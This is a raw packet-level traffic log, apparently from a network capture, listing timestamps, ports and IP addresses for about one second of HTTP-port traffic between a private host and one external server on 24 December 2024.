Dec 24, 2024 12:39:30.751445055 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.751828909 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.752260923 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.752351046 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.752494097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.752638102 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.753062963 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.753129005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.753174067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.753216982 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.753757000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.754451036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.754457951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.754468918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.754513025 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.755076885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.755266905 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.755319118 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.755723000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.755769014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.755774975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.755826950 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.756773949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.756802082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.756808043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.756829977 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.756854057 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.763128042 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.763207912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.763217926 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.763288021 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.763525009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.763598919 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.763704062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.763735056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.763740063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.763786077 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.764585972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.767282009 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.769897938 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.916102886 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.916146040 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.916156054 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.916225910 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.916574001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.916630983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.916636944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.916703939 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.917519093 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.917649031 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.917653084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.917716026 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.918456078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.918531895 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.918538094 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.918586969 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.919456959 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.919507980 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.919513941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.919569969 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.920401096 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.920486927 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.920495987 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.920543909 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.921395063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.921442032 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.921452999 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.921523094 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.922363997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.922411919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.922418118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.922434092 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.922480106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.923362970 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.923368931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.923374891 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.923429012 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.924289942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.924345016 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.924352884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.924396992 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.925293922 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.925348997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.925359964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.925411940 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.926405907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.926455021 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.926460981 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.926467896 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.926503897 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.927200079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.927261114 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.927267075 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.927329063 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.928186893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.928236008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.928241014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.928277016 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.929152966 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.929207087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.929213047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.929260969 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.930167913 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.930207968 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.930213928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.930273056 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.931124926 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.931178093 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.931183100 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.931241989 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.932075977 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.932116032 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.932121992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.932199955 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.933027983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.933088064 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.933093071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.933156013 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.934048891 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.934111118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.934115887 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.934170961 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.934981108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.935026884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.935031891 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.935082912 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.935983896 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.936043978 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.936048985 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.936207056 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.936935902 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.937279940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.937285900 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.937330961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.937341928 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.937376976 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.938256979 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.938308001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.938313007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.938375950 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.939213991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.939227104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.939233065 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.939285040 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.940202951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.940269947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.940275908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.940332890 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.941173077 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.941193104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.941200018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.941257954 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.942121983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.942168951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.942174911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.942245007 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.943094015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.943146944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.943156958 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.943205118 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.944091082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.944135904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.944142103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.944199085 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.945020914 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.945080996 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.945086956 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.945173025 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.946125984 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.946141958 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.946146965 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.946199894 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.947110891 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.947161913 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.947165012 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.947171926 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.947225094 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.955440044 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.955447912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.955450058 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.955527067 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.955720901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.955777884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.955784082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.955832958 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:30.956814051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.956820011 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:30.957268000 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.108280897 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.108335972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.108341932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.108437061 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.108706951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.108870029 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.108923912 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.108967066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.108973980 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.109019041 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.109852076 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.109905005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.109910965 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.109968901 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.110842943 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.110865116 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.110873938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.110920906 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.111845970 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.111924887 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.111931086 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.111984015 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.112772942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.112833977 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.112844944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.112890005 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.113830090 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.113884926 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.113917112 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.113924026 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.113969088 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.114728928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.114775896 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.114784956 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.114830017 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.115712881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.115761995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.115767956 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.115820885 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.116745949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.116751909 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.116764069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.116831064 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.117657900 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.117726088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.117726088 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.117733002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.117786884 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.118599892 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.118666887 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.118670940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.118731022 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.119596004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.119642019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.119647026 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.119704962 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.120552063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.120619059 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.120625973 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.120671988 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.121529102 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.121588945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.121596098 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.121649981 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.122504950 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.122535944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.122541904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.122597933 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.123528004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.123581886 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.123589039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.123641014 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.124442101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.124506950 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.124512911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.124566078 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.125400066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.125483036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.125497103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.125543118 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.126429081 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.126497030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.126502991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.127636909 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.127686024 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.127701044 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.127707958 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.127749920 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.128335953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.128428936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.128433943 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.128500938 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.129432917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.129729986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.129735947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.129740953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.129776001 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.130626917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.130647898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.130652905 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.130707026 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.131583929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.131604910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.131609917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.131654978 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.132564068 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.132635117 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.132642031 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.132694960 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.133529902 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.133578062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.133584023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.133639097 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.134526014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.134599924 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.134605885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.134660959 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.135485888 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.135519981 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.135524988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.135580063 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.135591984 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.136439085 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.136498928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.136504889 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.136562109 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.137397051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.137443066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.137454033 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.137507915 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.138365030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.138410091 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.138416052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.138463974 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.139341116 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.139353037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.139417887 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.147486925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.147547007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.147557020 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.147624969 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.148000956 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.148066044 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.148072004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.148118019 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.148947954 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.207276106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.301038027 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.301054955 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.301067114 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:31.301187038 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:31.301445961 CET	80	49727	185.215.113.16	192.168.2.5
